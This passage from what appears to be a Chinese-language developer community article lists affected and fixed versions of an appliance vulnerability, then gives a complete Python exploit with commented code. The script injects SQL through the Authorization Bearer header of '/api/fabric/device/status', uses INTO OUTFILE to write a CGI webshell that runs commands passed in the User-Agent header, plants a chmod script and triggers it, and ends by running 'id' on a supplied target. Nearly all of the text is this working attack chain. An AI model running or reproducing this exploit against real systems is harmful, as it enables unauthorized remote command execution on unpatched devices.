
--------- | :-------------- | :---------------- |
| 7.6 | 7.6.0 至 7.6.3 | 7.6.4 或更高 |
| 7.4 | 7.4.0 至 7.4.7 | 7.4.8 或更高 |
| 7.2 | 7.2.0 至 7.2.10 | 7.2.11 或更高 |
| 7.0 | 7.0.0 至 7.0.10 | 7.0.11 或更高 |
requests 库。以下展示了项目的核心实现代码及注释:
该类封装了核心的SQL注入功能。
#!/usr/bin/env python3
import argparse
import binascii
from urllib.parse import urljoin
import requests
import urllib3
urllib3.disable_warnings() # 禁用SSL警告
class SQLInjection:
def __init__(self, target: str):
self._target = target
self._buggy_api = '/api/fabric/device/status' # 存在漏洞的API端点
return
def inject_sql(self, injection: str) -> bool:
rc = False
# 构造恶意的Authorization头部,将SQL注入载荷附加在Bearer令牌之后
headers = {
"Authorization": f"Bearer ';{injection}" # 闭合原SQL语句,注入新语句
}
dst_url = urljoin(self._target, self._buggy_api)
try:
r = requests.get(dst_url, headers=headers, verify=False) # 发送请求
rc = r.status_code == 401 # 特定响应状态码表明注入成功(或至少被处理)
except Exception as e:
rc = False
print('Sending Request Failed: '+e)
return rc该类继承自 SQLInjection,实现了从SQL注入到写入文件、执行命令的完整攻击链。
class RCE(SQLInjection):
def __init__(self, target: str):
super().__init__(target)
self._target = target
self._buggy_api = '/api/fabric/device/status'
self._pyhook_path = '/cgi-bin/ml-draw.py' # 用于触发Python脚本执行的端点
# 构造一个Python脚本,用于给Webshell添加执行权限并清理自身
self._chmod_file = ""
self._chmod_file += "import os # \r\n"
self._chmod_file += "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"
# 构造一个简单的CGI WebShell,通过User-Agent头接收并执行命令
self._webshell = ''
self._webshell += '#!/bin/sh -- \r\n'
self._webshell += 'printf "Content-Type: text/html\\r\\n";printf "\\r\\n";eval $HTTP_USER_AGENT'
return
def upload_webshell(self) -> bool:
# 步骤1: 重置数据库表,确保有干净的环境写入数据
self._reset_tables()
# 步骤2: 将Webshell内容分段写入数据库的文本字段
parts = self._split_payload(self._webshell)
for part in parts:
print(f'[*] writing part {part}')
# 使用SQL的concat函数将载荷片段拼接到字段值中
self.inject_sql(f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')
# 步骤3: 将拼接好的完整载荷从数据库导出到Web服务器目录,创建Webshell文件
print('[>] writing webshell file')
self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")
# 步骤4: 重复上述过程,写入用于提权(chmod)的Python脚本
self._reset_tables()
parts = self._split_payload(self._chmod_file)
for part in parts:
print(f'[*] writing part {part}')
self.inject_sql(f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')
print('[>] cooking chmod gadget')
self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'")
# 步骤5: 访问特定端点,触发Python脚本执行,为Webshell添加执行权限
print('[*] triggering chmod')
return self._trigger_chmod()这些辅助函数和主程序逻辑完成了漏洞利用的自动化流程。
# 将长载荷分割成小块,以适应数据库操作
def _split_payload(self, input_bytes):
return [input_bytes[i:i+16] for i in range(0, len(input_bytes), 16)]
# 重置用于存储载荷的数据库表
def _reset_tables(self):
self.inject_sql('drop/**/table/**/fabric_user.a;--')
self.inject_sql('create/**/table/**/fabric_user.a/**/(a/**/TEXT);--')
self.inject_sql('insert/**/into/**/fabric_user.a/**/values(\'\');--')
# 通过访问Webshell执行系统命令
def run_cmd(self, cmd: str) -> bytes:
rc = b''
dst_url = urljoin(self._target, '/cgi-bin/x.cgi')
try:
# 将要执行的命令放在User-Agent头部,Webshell会读取并执行它
r = requests.get(dst_url, verify=False, headers={'User-Agent': cmd})
rc = r.content
except Exception as e:
rc = False
print('Sending Request Failed: '+e)
return rc
def main():
parser = argparse.ArgumentParser(
prog='exp.py',
description='SQLi to RCE primitive', # 程序描述:从SQL注入到RCE的原始利用
)
parser.add_argument('-t', '--target', help='i.e: https://target-host.com/', required=True)
args = parser.parse_args()
target_host = args.target
# 创建RCE利用对象并执行攻击链
pew = RCE(target_host)
if pew.upload_webshell():
print('[*] executing `id` ...')
out = pew.run_cmd('id')
print(out.decode())
print('[*] webshell available at: ')
print(f" > {urljoin(target_host, '/cgi-bin/x.cgi')}"),
print('provide command via the `User-Agent` header!)')
else:
print('[!] prolly failed :(')
return
if __name__ == '__main__':
main()
```FINISHED6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5LZ5wdOrcQltyxhR6MUrwo
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。